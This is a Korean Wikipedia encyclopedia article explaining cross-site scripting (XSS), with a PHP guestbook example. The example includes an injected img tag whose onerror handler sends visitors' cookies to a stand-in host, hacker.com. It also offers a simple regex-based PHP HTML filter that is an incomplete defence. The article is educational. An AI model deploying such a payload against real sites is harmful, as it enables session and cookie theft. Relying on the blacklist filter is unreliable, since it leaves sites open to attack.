사이트 간 스크립팅

위키백과, 우리 모두의 백과사전.
이동: 둘러보기, 검색

사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 하거나 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.[1]

예문[편집]

다음과 같이, 사용자가 입력한 내용을 출력하는 방명록 프로그램이 있다고 하자.

<p><?php echo htmlspecialchars($name); ?>님의 말: </p>
<?php echo $content; ?>

만약 $name"Hacker"이고 $content가 다음과 같다고 하자.

<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />

그러면 다음과 같이 출력될 것이다.

<p>Hacker님의 말: </p>
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />

결과적으로 방명록을 보는 사람의 쿠키가 해커에게 전송이 될 것이다.

참고[편집]

간단한 PHP용 HTML 필터링 함수

function html_filter($content)
{
 // Strip bad elements.
 $content = preg_replace('/(<)(|\/)(\!|\?|html|head|title|meta|body|style|link|base|script'.
 '|frameset|frame|noframes|iframe|applet|embed|object|param|noscript|noembed|map|area|basefont|xmp|plaintext|comment)/i',
 '&lt;$2$3', $content);
 
 // Strip script handlers.
 $content = preg_replace_callback("/([^a-z])(o)(n)/i", 
 create_function('$matches', 'if($matches[2]=="o") $matches[2] = "&#111;";
 else $matches[2] = "&#79;"; return $matches[1].$matches[2].$matches[3];'), $content);
 
 return $content;
}

같이 보기[편집]

주석[편집]

  1. IT 용어사전 e-Words: XSS

바깥 고리[편집]